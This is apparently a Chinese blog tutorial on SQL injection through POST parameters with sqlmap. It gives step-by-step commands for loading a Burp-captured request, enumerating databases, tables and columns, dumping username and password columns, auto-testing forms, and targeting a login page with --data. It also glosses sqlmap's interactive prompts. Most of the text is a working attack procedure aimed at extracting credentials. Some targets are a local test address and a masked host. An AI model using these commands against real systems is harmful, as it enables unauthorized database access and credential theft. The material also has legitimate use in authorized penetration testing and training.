xuanlvhaoshao 2020-01-02
利用sqlmap进行POST注入,常见的有三种方法:
1.用Burp抓包,然后保存抓取到的内容。例如:保存为post.txt,然后把它放至某个目录下
2.列数据库:
sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n --dbs
注:-r表示加载一个文件,-p指定参数
其中出现了三次提示:
it looks like the back-end DBMS is ‘MySQL‘. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是‘MySQL‘。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"
for the remaining tests, do you want to include all tests for ‘MySQL‘ extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n] 输入"N"
POST parameter ‘n‘ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST参数‘n‘是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入"Y"
以下是猜解出来的一些数据库总共有13个数据库。
3.猜表
选择一个数据库,比如选fendo
sqlmap.py -r "c:\Users\fendo\Desktop\test.txt" -p n -D fendo --tables
得到user表。
4.猜列
sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n -D fendo -T user --columns
5.猜数据
sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n -D fendo -T user -C “username,password” --dump
sqlmap.py -u "http://192.168.160.1/sqltest/post.php" --forms
它会有几次消息提示:
do you want to test this form? [Y/n/q]
要测试此表单吗?[Y/n/q] 输入"Y"
do you want to fill blank fields with random values? [Y/n]
是否要填充带有随机值的空白字段? [Y/n] 输入"Y"
it looks like the back-end DBMS is ‘MySQL‘. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是‘MySQL‘。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"
for the remaining tests, do you want to include all tests for ‘MySQL‘ extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗?[Y/n] 输入"N"
POST parameter ‘n‘ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST参数‘n‘是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入"N"
do you want to exploit this SQL injection? [Y/n]
你想利用SQL注入? 输入"Y"
sqlmap -u http://xxx.xxx.com/Login.asp --data "n=1&p=1"